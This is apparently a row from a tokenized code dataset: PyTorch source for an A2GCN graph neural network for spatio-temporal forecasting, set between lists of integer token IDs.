4706,
1121,
29889,
4397,
29898,
2624,
23215,
552,
29898,
978,
29892,
903,
333,
29892,
4272,
29892,
2635,
876,
13,
1678,
736,
1121,
13,
13,
29937,
317,
2720,
304,
2578,
29880,
417,
13,
13,
13,
3035,
16173,
29918,
25416,
29918,
4219,
353,
525,
991,
597,
19776,
574,
468,
9968,
29889,
990,
29914,
6406,
29914,
3221,
29914,
3696,
22208,
13,
13,
13,
1753,
16523,
29898,
13604,
29892,
5993,
1125,
13,
1678,
2578,
29880,
417,
353,
323,
2674,
417,
4032,
29898,
2754,
29918,
1989,
29922,
11027,
29889,
29911,
1525,
2208,
29949,
29918,
8787,
29918,
10818,
29892,
5993,
29922,
6979,
29897,
13,
1678,
7613,
353,
2578,
29880,
417,
29889,
657,
29918,
3377,
877,
29945,
29945,
29888,
29955,
29896,
29953,
29955,
29883,
29946,
29953,
29955,
29953,
29900,
29888,
10702,
29945,
29881,
29953,
29947,
29890,
29941,
29947,
29945,
1495,
13,
13,
1678,
2215,
29918,
21694,
29892,
3109,
29918,
29906,
29918,
10874,
29879,
29892,
3109,
29918,
29896,
29918,
10874,
29892,
3109,
29918,
29896,
29918,
18448,
29892,
9826,
29892,
4940,
353,
7613,
29889,
497,
29918,
21513,
580,
13,
13,
1678,
599,
29918,
28160,
353,
426,
7543,
29918,
333,
29898,
29883,
1125,
274,
363,
274,
297,
7613,
29889,
497,
29918,
28160,
28296,
13,
13,
1678,
2635,
29918,
27765,
353,
12865,
29889,
1256,
29889,
27765,
580,
13,
13,
1678,
363,
321,
297,
4959,
29901,
13,
4706,
5881,
353,
599,
29918,
28160,
29889,
657,
29898,
29872,
29889,
333,
29897,
13,
13,
4706,
565,
451,
5881,
29901,
13,
9651,
5881,
353,
1653,
29918,
7543,
29898,
29872,
29892,
2215,
29918,
21694,
29897,
13,
9651,
1653,
29918,
3198,
1761,
29898,
7543,
29897,
13,
13,
4706,
396,
6699,
5881,
304,
679,
2861,
2635,
13,
4706,
1018,
29901,
13,
9651,
5881,
29889,
9155,
580,
13,
4706,
5174,
18981,
2525,
16515,
29901,
13,
9651,
1596,
703,
29949,
3554,
347,
29901,
2086,
1784,
7274,
29991,
2803,
29915,
29879,
4480,
29871,
29896,
29900,
6923,
29991,
1159,
13,
9651,
931,
29889,
17059,
29898,
29896,
29900,
29897,
13,
9651,
5881,
29889,
9155,
580,
13,
13,
4706,
565,
321,
29889,
1256,
2804,
5881,
29889,
29123,
29918,
1256,
29889,
1256,
7295,
13,
9651,
1596,
877,
1451,
9776,
2861,
2635,
310,
6571,
304,
6571,
4286,
4830,
29898,
29872,
29889,
12690,
29892,
321,
29889,
1256,
876,
13,
9651,
5881,
29889,
842,
29918,
29123,
29898,
29872,
29889,
1256,
29897,
13,
13,
4706,
5418,
353,
313,
29872,
29889,
1256,
448,
2635,
29918,
27765,
467,
16700,
13,
4706,
565,
5418,
529,
29871,
29900,
29901,
13,
9651,
1492,
29918,
1761,
353,
4940,
13,
4706,
25342,
5418,
1275,
29871,
29900,
29901,
13,
9651,
1492,
29918,
1761,
353,
9826,
13,
4706,
25342,
5418,
529,
29871,
29955,
29901,
13,
9651,
1492,
29918,
1761,
353,
3109,
29918,
29896,
29918,
18448,
13,
4706,
25342,
5418,
529,
29871,
29941,
29900,
29901,
13,
9651,
1492,
29918,
1761,
353,
3109,
29918,
29896,
29918,
10874,
13,
4706,
25342,
5418,
529,
29871,
29953,
29900,
29901,
13,
9651,
1492,
29918,
1761,
353,
3109,
29918,
29906,
29918,
10874,
29879,
13,
4706,
1683,
29901,
13,
9651,
1492,
29918,
1761,
353,
2215,
29918,
21694,
13,
13,
4706,
9801,
29918,
7543,
29918,
262,
29918,
1761,
29898,
7543,
29892,
1492,
29918,
1761,
29897,
13,
13,
13,
1753,
5881,
29918,
333,
29898,
7543,
1125,
13,
1678,
286,
353,
337,
29889,
4478,
29898,
3035,
16173,
29918,
25416,
29918,
4219,
718,
364,
29915,
1194,
29881,
28135,
742,
13,
462,
29871,
5881,
29889,
14273,
29897,
13,
1678,
736,
286,
29889,
2972,
29898,
29896,
29897,
13,
13,
13,
1753,
1653,
29918,
7543,
29898,
3696,
29892,
1051,
1125,
13,
1678,
1596,
877,
9832,
1218,
5881,
6571,
21313,
1800,
4286,
4830,
29898,
3696,
29889,
12690,
29892,
1741,
29889,
1256,
29889,
10718,
4830,
22130,
13,
1678,
736,
1051,
29889,
1202,
29918,
7543,
29898,
978,
29922,
3696,
29889,
12690,
29892,
13,
462,
308,
5153,
29922,
3035,
16173,
29918,
25416,
29918,
4219,
718,
1741,
29889,
333,
29892,
13,
462,
308,
2861,
29922,
3696,
29889,
1256,
29889,
10718,
4830,
3101,
13,
13,
13,
1753,
1653,
29918,
3198,
1761,
29898,
7543,
1125,
13,
1678,
5881,
29889,
1202,
29918,
3198,
1761,
703,
1349,
886,
304,
437,
29901,
613,
518,
13,
462,
539,
376,
29906,
4098,
1423,
613,
376,
29896,
4098,
1423,
613,
376,
25271,
366,
4876,
322,
2009,
363,
22663,
613,
376,
25060,
7625,
20068,
13,
13,
13,
1753,
9801,
29918,
3198,
1761,
29918,
262,
29918,
7543,
29898,
7543,
1125,
13,
1678,
565,
451,
5881,
29889,
3198,
21513,
29901,
13,
4706,
1596,
703,
2528,
292,
1423,
1761,
304,
6571,
5881,
1213,
29889,
4830,
29898,
7543,
29889,
978,
876,
13,
4706,
1653,
29918,
3198,
1761,
29898,
7543,
29897,
13,
13,
13,
1753,
9801,
29918,
7543,
29918,
262,
29918,
1761,
29898,
7543,
29892,
1051,
1125,
13,
1678,
565,
5881,
29889,
1761,
29918,
333,
2804,
1051,
29889,
333,
29901,
13,
4706,
1596,
877,
29924,
21081,
6571,
304,
6571,
4286,
4830,
29898,
13,
9651,
5881,
29889,
978,
29892,
1051,
29889,
978,
876,
13,
4706,
5881,
29889,
3167,
29918,
1761,
29898,
1761,
29889,
333,
29897,
13,
2
] |
model_time_shift.py | papersubmittest/subm | 2 | 97980 | import sys
import time
import torch
import random
import numpy as np
import torch.nn as nn
import torch.nn.functional as F
from torch.autograd import Variable
from util_torch import graphs_re,choice_by_prob,gumbel_softmax,graphs_threshold
class GNN_Block(nn.Module):
def __init__(self,input_size,output_size,gnn_layers = 1,dropout =0.3):
super(GNN_Block,self).__init__()
self.input_size = input_size
self.output_size = output_size
self.gnn_layers = gnn_layers
self.dropout = dropout
#gcn init
self.MLP = nn.ModuleList()
for i in range(self.gnn_layers):
if i == 0:
self.MLP.append(
nn.Sequential(nn.Linear(input_size,output_size),
nn.PReLU(),
nn.Dropout(self.dropout))
)
else:
self.MLP.append(
nn.Sequential(nn.Linear(output_size,output_size),
nn.PReLU(),
nn.Dropout(self.dropout))
)
nn.init.xavier_normal_(self.MLP[-1][0].weight)
def forward(self,x,adj):
'''
x.shape: B*channel*N*T
adj.shape: N*N
'''
B,N,c = x.shape
out = [x]
# layers gnn
for i in range(self.gnn_layers):
##gnn block
if len(adj.shape) == 2:
x = torch.einsum('nm,bmk->bnk',(adj,out[-1]))
else:
x = torch.einsum('bnm,bmk->bnk',(adj,out[-1]))
x = x.contiguous() #B*N*(T*rnn_dim)
x = self.MLP[i](x)
out.append(x)
out = out[1:] #[B*N*k,B*N*k,.....]
out = torch.stack(out,dim = 2) #B*N*layers*k
return out
class Multi_embed(nn.Module):
def __init__(self,multi_embeddings):
'''
multi_embeddings: [] e.g. [[24,4],[7,2],[12,3]->[[hour embedding],[weekday embedding],[month embedding]]
'''
super(Multi_embed,self).__init__()
self.embeddings = nn.ModuleList()
for vocab_size,dim in multi_embeddings:
self.embeddings.append(nn.Embedding(vocab_size,dim))
nn.init.xavier_normal_(self.embeddings[-1].weight)
def forward(self,x):
B,N,T,c = x.shape
res = []
for i in range(x.shape[-1]):
### the input of embedding must be LongTensor
res.append(self.embeddings[i](x[:,:,:,i].long()))
return torch.cat(res,dim = -1) #B*N*T*-1
class Auto_graph_learner(nn.Module):
def __init__(self,num_nodes,sparse,agl_dim = 32):
'''
num_nodes:
sparse: sparse number (int)
'''
super(Auto_graph_learner,self).__init__()
self.num_nodes = num_nodes
self.sparse = sparse
self.new_supports = nn.Parameter(torch.ones(num_nodes, num_nodes), requires_grad=True)
self.agl_node = nn.Parameter(torch.randn(num_nodes,agl_dim))
self.agl_dim =agl_dim
nn.init.xavier_normal_(self.agl_node)
def forward(self,):
### self.sparse set: about 20-30node is resonable
new_supports = self.new_supports #torch.matmul(self.nodevec1, self.nodevec2)
# new_supports = torch.einsum('nk,mk->nm',self.agl_node,self.agl_node)/(self.agl_dim**0.5)
if self.training:
new_supports = F.softmax(new_supports,dim = -1)
new_supports = torch.log(new_supports)
cur = torch.zeros_like(new_supports)
for i in range(int(self.sparse)):
cur += gumbel_softmax(new_supports,0.5)
new_supports = cur/float(int(self.sparse))
else:
new_supports = graphs_re(new_supports,sparse = self.sparse)
new_supports[new_supports<=0] = -1e15
new_supports = F.softmax(new_supports, dim=-1)
return new_supports
class Attentional_relation_learner(nn.Module):
def __init__(self,num_nodes,group_k,input_dim,hidden_dim,out_dim,qkdim=128):
'''
Node pay more attention to more appropriate relation/graph (e.g. Identity, Latent graph, Predifined graph)
num_nodes:
group_k: relation count (layers*relations)
input_dim: input dimension
hidden_dim:
out_dim: output dimension
'''
super(Attentional_relation_learner, self).__init__()
self.num_nodes = num_nodes
self.group_k = group_k
self.input_dim = input_dim
self.hidden_dim = hidden_dim
self.out_dim = out_dim
self.qkdim = qkdim
self.Weight_q = nn.Parameter(torch.randn(self.num_nodes,self.qkdim),requires_grad=True)
self.W_k = nn.Linear(self.input_dim,self.qkdim)
self.W_v = nn.Sequential(
nn.Linear(self.group_k*self.input_dim,self.hidden_dim),
nn.ReLU(),
nn.Linear(self.hidden_dim,self.out_dim),
)
nn.init.xavier_normal_(self.Weight_q)
nn.init.xavier_normal_(self.W_k.weight)
nn.init.xavier_normal_(self.W_v[0].weight)
nn.init.xavier_normal_(self.W_v[2].weight)
def forward(self,x):
'''
'''
B,N,group_k,input_dim=x.shape
if group_k != self.group_k or input_dim!=self.input_dim:assert False
K,V = x,x
Q = self.Weight_q #N*k_dim
K = self.W_k(K) #B*N*L*k_dim
attention = torch.einsum('nk,bnlk->bnl',Q,K)/(self.qkdim**0.5)
attention = F.softmax(attention,dim = -1)
V = attention.reshape(B,N,-1,1) * V
# V = torch.einsum('bng,bngk->bnk',attention,V)
V = V.reshape(B,N,-1)
V = self.W_v(V) #B*N*out_dim
return V
class LSTM_skip(nn.Module):
def __init__(self,in_channel,out_channel,window = 24):
super(LSTM_skip,self).__init__()
self.window = window
self.rnncell = nn.LSTMCell(in_channel,out_channel)
self.w_skip = nn.Linear(out_channel,out_channel)
self.h0 = nn.Parameter(torch.randn(1, out_channel))
self.c0 = nn.Parameter(torch.randn(1, out_channel))
nn.init.xavier_normal_(self.w_skip.weight)
nn.init.xavier_normal_(self.h0)
nn.init.xavier_normal_(self.c0)
def forward(self,x):
B,T,c = x.shape
hx = self.h0.repeat(B,1)
cx = self.c0.repeat(B,1)
output = []
for i in range(T):
if i>=self.window:
hx, cx = self.rnncell(x[:,i], (hx+self.w_skip(output[i-self.window]), cx))
else:
hx, cx = self.rnncell(x[:,i], (hx, cx))
output.append(hx)
output = torch.stack(output,axis = 1)
return output,(hx,cx)
class A2GCN(nn.Module):
def __init__(self,num_nodes,in_T,in_dim,out_T,out_dim=1,multi_embeddings=None,predefined_G=None,
sparse=15,agl_dim = 32,
cnn_kernel = 3,
gnn_layers=2,dropout=0.3,channel=32,gnn_channel=None,attentional_relation_channel=None,
device=None): #,**kwargs):
'''
num_nodes:
in_T: historical length
in_dim:
out_T: forecasting future length
out_dim: forecasting future dimension, usually is 1
multi_embeddings: when the input have some temporal discrete feature, like month, weekday, holiday, etc.
need to notice that, the input must ---> continuous features (k-dim) ||cat discrete features (in_T - k-dim)
predefined_G: user predifined graph
sparse (int): learnable matrix/graph sparsity
gnn_layers: the layers of gnn
dropout:
channel: use this part to set all the hidden dimension of A2GCN
device: cpu or cuda:0 or cuda:1
'''
super(A2GCN, self).__init__()
self.num_nodes = num_nodes
self.in_T = in_T
self.in_dim = in_dim
self.out_T = out_T
self.out_dim = out_dim
channel = channel
gnn_channel = channel*8 if gnn_channel is None else gnn_channel
attentional_relation_channel = channel*16 if attentional_relation_channel is None else attentional_relation_channel
self.multi_embeddings = multi_embeddings
if self.multi_embeddings is not None:
self.embeds = Multi_embed(multi_embeddings)
self.start_fc = nn.Linear(
in_dim-len(self.multi_embeddings)+sum([j for i,j in self.multi_embeddings]), channel)
self.start_cnn = torch.nn.Conv2d(in_dim-len(self.multi_embeddings)+sum([j for i,j in self.multi_embeddings]),channel,kernel_size=(1,cnn_kernel),padding = (0,cnn_kernel//2))
else:
self.embeds = None
self.start_fc = nn.Linear(in_dim,channel)
self.start_cnn = torch.nn.Conv2d(in_dim,channel,kernel_size=(1,3),padding = (0,1))
self.start_rnn = nn.LSTM(channel,channel,batch_first = True)
# self.start_rnn = LSTM_skip(channel,channel)
self.latent_graph = Auto_graph_learner(num_nodes,sparse,agl_dim)
self_adj = nn.Parameter(torch.eye(num_nodes,num_nodes)*1.0, requires_grad=False)
self.graphs = predefined_G if predefined_G is not None else []
self.len_pre = len(self.graphs)
self.graphs.append(self_adj)
self.graphs = [i.to(device) for i in self.graphs]
print('len graphs is {}'.format(len(self.graphs)))
self.node_embedding = nn.Parameter(torch.randn(2,num_nodes,32))
self.gnns = nn.ModuleList()
for i in range(len(self.graphs)+1):
self.gnns.append(GNN_Block(in_T*channel,gnn_channel,gnn_layers,dropout))
#### out_dim must equal to 1.
self.relation_learner = Attentional_relation_learner(num_nodes,gnn_layers*(len(self.graphs)+1),gnn_channel,attentional_relation_channel,self.out_T*self.out_dim)
nn.init.xavier_normal_(self.start_fc.weight)
nn.init.xavier_normal_(self.start_cnn.weight)
nn.init.xavier_normal_(self.node_embedding)
def forward(self, x):
if x.shape[3]<self.in_T:
x = nn.functional.pad(x,(self.in_T-x.shape[3],0,0,0))
B,channel,N,T = x.shape
x = x.permute(0,2,3,1).contiguous()
if self.multi_embeddings is not None:
temp = len(self.multi_embeddings)
#discrete features embedding
x = torch.cat([x[:,:,:,:-temp],self.embeds(x[:,:,:,-temp:])],dim = -1)
#x = self.start_fc(x)
# use cnn for data
x = x.permute(0,3,1,2) #->B*C*N*T
x = self.start_cnn(x)
x = x.permute(0,2,3,1)
x = x.reshape(B*N,T,-1)
x,(hn,cn) = self.start_rnn(x)
# x = self.start_T_att(x)
x = x.contiguous().reshape(B,N,-1)
relation = torch.einsum('ink,imk->inm',self.node_embedding,self.node_embedding)/(32**0.5)
groups_fea=[]
for i in range(len(self.gnns)):
_adj = self.graphs[i] if i != len(self.gnns)-1 else self.latent_graph()
if i <self.len_pre:
_adj = (_adj>0)*relation[i]
groups_fea.append(self.gnns[i](x,_adj))
groups_fea = torch.cat(groups_fea,dim = 2)
out = self.relation_learner(groups_fea)
out = out.reshape(B,N,self.out_T,self.out_dim).permute(0,2,1,3).contiguous()
return out
if __name__ == '__main__':
test_model = A2GCN(num_nodes=100,in_T=12,in_dim=3,out_T=6,out_dim=1,multi_embeddings=None,predefined_G=[torch.randn(100,100)],sparse=15,gnn_layers=2,dropout=0.3,channel=32)
x = torch.randn(5,3,100,12)
out = test_model(x)
print(out.shape) | [
1,
1053,
10876,
13,
5215,
931,
29871,
13,
5215,
4842,
305,
13,
5215,
4036,
29871,
13,
13,
5215,
12655,
408,
7442,
13,
5215,
4842,
305,
29889,
15755,
408,
302,
29876,
13,
5215,
4842,
305,
29889,
15755,
29889,
2220,
284,
408,
383,
13,
3166,
4842,
305,
29889,
1300,
468,
3665,
1053,
28736,
13,
13,
3166,
3667,
29918,
7345,
305,
1053,
18445,
29918,
276,
29892,
16957,
29918,
1609,
29918,
22795,
29892,
29887,
3774,
295,
29918,
2695,
3317,
29892,
4262,
29879,
29918,
386,
12268,
13,
13,
13,
1990,
402,
10262,
29918,
7445,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
2080,
29918,
2311,
29892,
4905,
29918,
2311,
29892,
5138,
29876,
29918,
29277,
353,
29871,
29896,
29892,
8865,
449,
353,
29900,
29889,
29941,
1125,
13,
4706,
2428,
29898,
29954,
10262,
29918,
7445,
29892,
1311,
467,
1649,
2344,
1649,
580,
13,
308,
13,
4706,
1583,
29889,
2080,
29918,
2311,
29871,
353,
1881,
29918,
2311,
13,
4706,
1583,
29889,
4905,
29918,
2311,
353,
1962,
29918,
2311,
13,
308,
13,
4706,
1583,
29889,
5138,
29876,
29918,
29277,
353,
330,
15755,
29918,
29277,
13,
4706,
1583,
29889,
8865,
449,
353,
5768,
449,
13,
1678,
13,
4706,
396,
29887,
18038,
2069,
13,
4706,
1583,
29889,
1988,
29925,
353,
302,
29876,
29889,
7355,
1293,
580,
13,
4706,
363,
474,
297,
3464,
29898,
1311,
29889,
5138,
29876,
29918,
29277,
1125,
13,
9651,
565,
474,
1275,
29871,
29900,
29901,
13,
18884,
1583,
29889,
1988,
29925,
29889,
4397,
29898,
13,
462,
1678,
302,
29876,
29889,
16941,
2556,
29898,
15755,
29889,
12697,
29898,
2080,
29918,
2311,
29892,
4905,
29918,
2311,
511,
13,
462,
462,
302,
29876,
29889,
29925,
1123,
29931,
29965,
3285,
13,
462,
462,
302,
29876,
29889,
15063,
449,
29898,
1311,
29889,
8865,
449,
876,
13,
462,
462,
1723,
13,
9651,
1683,
29901,
13,
18884,
1583,
29889,
1988,
29925,
29889,
4397,
29898,
13,
462,
1678,
302,
29876,
29889,
16941,
2556,
29898,
15755,
29889,
12697,
29898,
4905,
29918,
2311,
29892,
4905,
29918,
2311,
511,
13,
462,
462,
29871,
302,
29876,
29889,
29925,
1123,
29931,
29965,
3285,
13,
462,
462,
29871,
302,
29876,
29889,
15063,
449,
29898,
1311,
29889,
8865,
449,
876,
13,
462,
462,
1723,
13,
632,
13,
9651,
302,
29876,
29889,
2344,
29889,
29916,
18852,
29918,
8945,
23538,
1311,
29889,
1988,
29925,
14352,
29896,
3816,
29900,
1822,
7915,
29897,
13,
308,
13,
1678,
822,
6375,
29898,
1311,
29892,
29916,
29892,
26859,
1125,
13,
4706,
14550,
13,
4706,
921,
29889,
12181,
29901,
350,
29930,
12719,
29930,
29940,
29930,
29911,
13,
4706,
12109,
29889,
12181,
29901,
405,
29930,
29940,
13,
4706,
14550,
13,
4706,
350,
29892,
29940,
29892,
29883,
353,
921,
29889,
12181,
13,
308,
13,
4706,
714,
353,
518,
29916,
29962,
13,
4706,
396,
15359,
330,
15755,
13,
4706,
363,
474,
297,
3464,
29898,
1311,
29889,
5138,
29876,
29918,
29277,
1125,
13,
9651,
444,
5138,
29876,
2908,
13,
9651,
565,
7431,
29898,
26859,
29889,
12181,
29897,
1275,
29871,
29906,
29901,
13,
18884,
921,
353,
4842,
305,
29889,
29872,
1144,
398,
877,
22882,
29892,
5838,
29895,
976,
11197,
29895,
742,
29898,
26859,
29892,
449,
14352,
29896,
12622,
13,
9651,
1683,
29901,
13,
18884,
921,
353,
4842,
305,
29889,
29872,
1144,
398,
877,
11197,
29885,
29892,
5838,
29895,
976,
11197,
29895,
742,
29898,
26859,
29892,
449,
14352,
29896,
12622,
13,
13,
9651,
921,
353,
921,
29889,
1285,
5526,
681,
580,
396,
29933,
29930,
29940,
16395,
29911,
29930,
29878,
15755,
29918,
6229,
29897,
13,
9651,
921,
353,
1583,
29889,
1988,
29925,
29961,
29875,
850,
29916,
29897,
13,
632,
13,
9651,
714,
29889,
4397,
29898,
29916,
29897,
13,
632,
13,
4706,
714,
353,
714,
29961,
29896,
17531,
14330,
29933,
29930,
29940,
29930,
29895,
29892,
29933,
29930,
29940,
29930,
29895,
29892,
636,
17361,
13,
4706,
714,
353,
4842,
305,
29889,
1429,
29898,
449,
29892,
6229,
353,
29871,
29906,
29897,
396,
29933,
29930,
29940,
29930,
29277,
29930,
29895,
13,
308,
13,
4706,
736,
714,
13,
308,
13,
13,
13,
13,
13,
268,
13,
1990,
14974,
29918,
17987,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
9910,
29918,
17987,
29881,
886,
1125,
13,
4706,
14550,
13,
4706,
2473,
29918,
17987,
29881,
886,
29901,
5159,
321,
29889,
29887,
29889,
5519,
29906,
29946,
29892,
29946,
16272,
29955,
29892,
29906,
16272,
29896,
29906,
29892,
29941,
28895,
8999,
18721,
23655,
16272,
18448,
3250,
23655,
16272,
10874,
23655,
5262,
13,
4706,
14550,
13,
4706,
2428,
29898,
15329,
29918,
17987,
29892,
1311,
467,
1649,
2344,
1649,
580,
13,
308,
13,
4706,
1583,
29889,
17987,
29881,
886,
353,
302,
29876,
29889,
7355,
1293,
580,
13,
4706,
363,
7931,
370,
29918,
2311,
29892,
6229,
297,
2473,
29918,
17987,
29881,
886,
29901,
13,
9651,
1583,
29889,
17987,
29881,
886,
29889,
4397,
29898,
15755,
29889,
6026,
2580,
8497,
29898,
29894,
542,
370,
29918,
2311,
29892,
6229,
876,
13,
9651,
302,
29876,
29889,
2344,
29889,
29916,
18852,
29918,
8945,
23538,
1311,
29889,
17987,
29881,
886,
14352,
29896,
1822,
7915,
29897,
13,
308,
13,
308,
13,
308,
13,
1678,
822,
6375,
29898,
1311,
29892,
29916,
1125,
13,
308,
13,
4706,
350,
29892,
29940,
29892,
29911,
29892,
29883,
353,
921,
29889,
12181,
13,
308,
13,
4706,
620,
353,
5159,
13,
4706,
363,
474,
297,
3464,
29898,
29916,
29889,
12181,
14352,
29896,
29962,
1125,
13,
9651,
835,
278,
1881,
310,
23655,
1818,
367,
6242,
29911,
6073,
13,
9651,
620,
29889,
4397,
29898,
1311,
29889,
17987,
29881,
886,
29961,
29875,
850,
29916,
7503,
29892,
29901,
29892,
29901,
29892,
29875,
1822,
5426,
22130,
13,
308,
13,
4706,
736,
4842,
305,
29889,
4117,
29898,
690,
29892,
6229,
353,
448,
29896,
29897,
396,
29933,
29930,
29940,
29930,
29911,
29930,
29899,
29896,
13,
632,
13,
13,
268,
13,
268,
13,
1990,
11133,
29918,
4262,
29918,
1945,
1089,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1949,
29918,
18010,
29892,
29879,
5510,
29892,
351,
29880,
29918,
6229,
353,
29871,
29941,
29906,
1125,
13,
4706,
14550,
13,
4706,
954,
29918,
18010,
29901,
29871,
13,
4706,
29234,
29901,
29234,
1353,
313,
524,
29897,
13,
308,
13,
4706,
14550,
13,
4706,
2428,
29898,
12300,
29918,
4262,
29918,
1945,
1089,
29892,
1311,
467,
1649,
2344,
1649,
580,
13,
13,
4706,
1583,
29889,
1949,
29918,
18010,
353,
954,
29918,
18010,
13,
4706,
1583,
29889,
29879,
5510,
353,
29234,
13,
4706,
1583,
29889,
1482,
29918,
5924,
29879,
353,
302,
29876,
29889,
9329,
29898,
7345,
305,
29889,
2873,
29898,
1949,
29918,
18010,
29892,
954,
29918,
18010,
511,
6858,
29918,
5105,
29922,
5574,
29897,
13,
4706,
1583,
29889,
351,
29880,
29918,
3177,
353,
302,
29876,
29889,
9329,
29898,
7345,
305,
29889,
9502,
29876,
29898,
1949,
29918,
18010,
29892,
351,
29880,
29918,
6229,
876,
13,
4706,
1583,
29889,
351,
29880,
29918,
6229,
353,
351,
29880,
29918,
6229,
13,
4706,
302,
29876,
29889,
2344,
29889,
29916,
18852,
29918,
8945,
23538,
1311,
29889,
351,
29880,
29918,
3177,
29897,
13,
308,
13,
1678,
822,
6375,
29898,
1311,
29892,
1125,
13,
308,
835,
1583,
29889,
29879,
5510,
731,
29901,
1048,
29871,
29906,
29900,
29899,
29941,
29900,
3177,
338,
27396,
519,
13,
4706,
716,
29918,
5924,
29879,
353,
1583,
29889,
1482,
29918,
5924,
29879,
396,
7345,
305,
29889,
2922,
16109,
29898,
1311,
29889,
3177,
2003,
29896,
29892,
1583,
29889,
3177,
2003,
29906,
29897,
13,
29937,
308,
716,
29918,
5924,
29879,
353,
4842,
305,
29889,
29872,
1144,
398,
877,
29876,
29895,
29892,
11256,
976,
22882,
742,
1311,
29889,
351,
29880,
29918,
3177,
29892,
1311,
29889,
351,
29880,
29918,
3177,
6802,
29898,
1311,
29889,
351,
29880,
29918,
6229,
1068,
29900,
29889,
29945,
29897,
13,
4706,
565,
1583,
29889,
26495,
29901,
13,
9651,
716,
29918,
5924,
29879,
353,
383,
29889,
2695,
3317,
29898,
1482,
29918,
5924,
29879,
29892,
6229,
353,
448,
29896,
29897,
13,
9651,
716,
29918,
5924,
29879,
353,
4842,
305,
29889,
1188,
29898,
1482,
29918,
5924,
29879,
29897,
13,
9651,
3151,
353,
4842,
305,
29889,
3298,
359,
29918,
4561,
29898,
1482,
29918,
5924,
29879,
29897,
13,
9651,
363,
474,
297,
3464,
29898,
524,
29898,
1311,
29889,
29879,
5510,
22164,
13,
18884,
3151,
4619,
330,
3774,
295,
29918,
2695,
3317,
29898,
1482,
29918,
5924,
29879,
29892,
29900,
29889,
29945,
29897,
13,
13,
9651,
716,
29918,
5924,
29879,
353,
3151,
29914,
7411,
29898,
524,
29898,
1311,
29889,
29879,
5510,
876,
13,
632,
13,
4706,
1683,
29901,
13,
9651,
716,
29918,
5924,
29879,
353,
18445,
29918,
276,
29898,
1482,
29918,
5924,
29879,
29892,
29879,
5510,
353,
29871,
1583,
29889,
29879,
5510,
29897,
13,
9651,
716,
29918,
5924,
29879,
29961,
1482,
29918,
5924,
29879,
14065,
29900,
29962,
353,
448,
29896,
29872,
29896,
29945,
13,
9651,
716,
29918,
5924,
29879,
353,
383,
29889,
2695,
3317,
29898,
1482,
29918,
5924,
29879,
29892,
3964,
10457,
29896,
29897,
13,
632,
13,
4706,
736,
716,
29918,
5924,
29879,
13,
632,
13,
13,
308,
13,
1990,
6212,
296,
1848,
29918,
23445,
29918,
1945,
1089,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1949,
29918,
18010,
29892,
2972,
29918,
29895,
29892,
2080,
29918,
6229,
29892,
10892,
29918,
6229,
29892,
449,
29918,
6229,
29892,
29939,
29895,
6229,
29922,
29896,
29906,
29947,
1125,
13,
4706,
14550,
13,
4706,
9071,
5146,
901,
8570,
304,
901,
8210,
8220,
29914,
4262,
313,
29872,
29889,
29887,
29889,
27486,
29892,
7053,
296,
3983,
29892,
21099,
361,
1312,
3983,
29897,
13,
308,
13,
308,
13,
4706,
954,
29918,
18010,
29901,
13,
4706,
2318,
29918,
29895,
29901,
8220,
2302,
313,
29277,
29930,
2674,
800,
29897,
13,
4706,
1881,
29918,
6229,
29901,
1881,
9927,
13,
4706,
7934,
29918,
6229,
29901,
13,
4706,
714,
29918,
6229,
29901,
1962,
9927,
13,
4706,
14550,
13,
4706,
2428,
29898,
4165,
296,
1848,
29918,
23445,
29918,
1945,
1089,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
308,
13,
4706,
1583,
29889,
1949,
29918,
18010,
353,
954,
29918,
18010,
13,
4706,
1583,
29889,
2972,
29918,
29895,
353,
2318,
29918,
29895,
13,
4706,
1583,
29889,
2080,
29918,
6229,
353,
1881,
29918,
6229,
13,
4706,
1583,
29889,
10892,
29918,
6229,
353,
7934,
29918,
6229,
13,
4706,
1583,
29889,
449,
29918,
6229,
353,
714,
29918,
6229,
13,
308,
13,
4706,
1583,
29889,
29939,
29895,
6229,
353,
3855,
29895,
6229,
13,
4706,
1583,
29889,
22676,
29918,
29939,
353,
302,
29876,
29889,
9329,
29898,
7345,
305,
29889,
9502,
29876,
29898,
1311,
29889,
1949,
29918,
18010,
29892,
1311,
29889,
29939,
29895,
6229,
511,
276,
339,
2658,
29918,
5105,
29922,
5574,
29897,
13,
4706,
1583,
29889,
29956,
29918,
29895,
353,
302,
29876,
29889,
12697,
29898,
1311,
29889,
2080,
29918,
6229,
29892,
1311,
29889,
29939,
29895,
6229,
29897,
13,
4706,
1583,
29889,
29956,
29918,
29894,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
462,
18884,
302,
29876,
29889,
12697,
29898,
1311,
29889,
2972,
29918,
29895,
29930,
1311,
29889,
2080,
29918,
6229,
29892,
1311,
29889,
10892,
29918,
6229,
511,
29871,
13,
462,
18884,
302,
29876,
29889,
1123,
29931,
29965,
3285,
13,
462,
18884,
302,
29876,
29889,
12697,
29898,
1311,
29889,
10892,
29918,
6229,
29892,
1311,
29889,
449,
29918,
6229,
511,
13,
462,
18884,
1723,
13,
308,
13,
4706,
302,
29876,
29889,
2344,
29889,
29916,
18852,
29918,
8945,
23538,
1311,
29889,
22676,
29918,
29939,
29897,
13,
4706,
302,
29876,
29889,
2344,
29889,
29916,
18852,
29918,
8945,
23538,
1311,
29889,
29956,
29918,
29895,
29889,
7915,
29897,
13,
4706,
302,
29876,
29889,
2344,
29889,
29916,
18852,
29918,
8945,
23538,
1311,
29889,
29956,
29918,
29894,
29961,
29900,
1822,
7915,
29897,
13,
4706,
302,
29876,
29889,
2344,
29889,
29916,
18852,
29918,
8945,
23538,
1311,
29889,
29956,
29918,
29894,
29961,
29906,
1822,
7915,
29897,
13,
13,
308,
13,
308,
13,
1678,
822,
6375,
29898,
1311,
29892,
29916,
1125,
13,
4706,
14550,
13,
4706,
14550,
13,
4706,
350,
29892,
29940,
29892,
2972,
29918,
29895,
29892,
2080,
29918,
6229,
29922,
29916,
29889,
12181,
13,
4706,
565,
2318,
29918,
29895,
2804,
1583,
29889,
2972,
29918,
29895,
470,
1881,
29918,
6229,
19216,
1311,
29889,
2080,
29918,
6229,
29901,
9294,
7700,
13,
308,
13,
